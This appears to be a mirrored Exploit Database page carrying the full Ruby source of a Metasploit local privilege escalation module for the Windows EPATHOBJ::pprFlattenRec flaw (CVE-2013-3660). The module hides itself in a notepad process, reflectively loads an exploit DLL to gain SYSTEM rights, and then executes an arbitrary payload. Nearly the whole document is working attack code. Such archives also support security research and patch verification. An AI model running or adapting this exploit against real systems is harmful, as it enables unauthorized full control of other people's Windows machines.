Microsoft Windows – ‘EPATHOBJ::pprFlattenRec’ Local Privilege Escalation (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2013-07-02
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/26554/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  require 'rex'
  require 'msf/core/post/common'
  require 'msf/core/post/windows/priv'
  require 'msf/core/post/windows/process'
  
  class Metasploit3 < Msf::Exploit::Local
  Rank = AverageRanking
  
  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  
  def initialize(info={})
  super(update_info(info, {
  'Name' => 'Windows EPATHOBJ::pprFlattenRec Local Privilege Escalation',
  'Description'=> %q{
  This module exploits a vulnerability on EPATHOBJ::pprFlattenRec due to the usage
  of uninitialized data which allows to corrupt memory. At the moment, the module has
  been tested successfully on Windows XP SP3, Windows 2003 SP1, and Windows 7 SP1.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'Tavis Ormandy <taviso[at]cmpxchg8b.com>', # Vulnerability discovery and Original Exploit
  'progmboy <programmeboy[at]gmail.com>',# Original Exploit
  'Keebie4e',# Metasploit integration
  'egypt', # Metasploit integration
  'sinn3r',# Metasploit integration
  'Meatballs', # Metasploit integration
  'juan vazquez' # Metasploit integration
  ],
  'Arch' => ARCH_X86,
  'Platform' => 'win',
  'SessionTypes' => [ 'meterpreter' ],
  'DefaultOptions' =>
  {
  'EXITFUNC' => 'thread',
  },
  'Targets'=>
  [
  [ 'Automatic', { } ]
  ],
  'Payload'=>
  {
  'Space' => 4096,
  'DisableNops' => true
  },
  'References' =>
  [
  [ 'CVE', '2013-3660' ],
  [ 'EDB', '25912' ],
  [ 'OSVDB', '93539' ],
  [ 'URL', 'http://seclists.org/fulldisclosure/2013/May/91' ],
  ],
  'DisclosureDate' => 'May 15 2013',
  'DefaultTarget'=> 0
  }))
  
  end
  
  def check
  os = sysinfo["OS"]
  if os =~ /windows/i
  return Exploit::CheckCode::Vulnerable
  end
  end
  
  def exploit
  
  if sysinfo["Architecture"] =~ /wow64/i
  fail_with(Exploit::Failure::NoTarget, "Running against WOW64 is not supported")
  elsif sysinfo["Architecture"] =~ /x64/
  fail_with(Exploit::Failure::NoTarget, "Running against 64-bit systems is not supported")
  end
  
  print_status("Creating a new process and migrating...")
  
  cmd = "#{expand_path("%windir%")}\\System32\\notepad.exe"
  new_proc = session.sys.process.execute(cmd, nil, {'Hidden' => true })
  new_pid = new_proc.pid
  
  if not new_pid
  print_error("Filed to create the new process, trying in the current one, if unsuccessful migrate by yourself")
  else
  print_status("Migrating to #{new_pid}")
  migrate_res = false
  
  begin
  migrate_res = session.core.migrate(new_pid)
  rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError
  migrate_res = false
  end
  
  if migrate_res
  print_good("Successfully migrated to process #{new_pid}")
  else
  print_warning("Unable to migrate to process #{new_pid.to_s}, trying current #{session.sys.process.getpid} instead. If still unsuccessful, please migrate manually")
  end
  end
  
  print_status("Trying to load the exploit and executing...")
  
  session.core.load_library({
  "LibraryFilePath" => File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-3660", "exploit.dll"),
  "UploadLibrary" => true,
  "Extension" => false,
  "TargetFilePath"=> "#{rand_text_alpha(5 + rand(3))}.dll",
  "SaveToDisk"=> false
  })
  
  print_status("Checking privileges after exploitation...")
  
  if is_system?
  print_good("Exploitation successful!")
  else
  fail_with(Exploit::Failure::Unknown, "The exploitation wasn't successful but should be safe to try again")
  end
  
  if execute_shellcode(payload.encoded)
  print_good("Enjoy!")
  else
  fail_with(Exploit::Failure::Unknown, "Error while executing the payload")
  end
  
  end
  
  
  end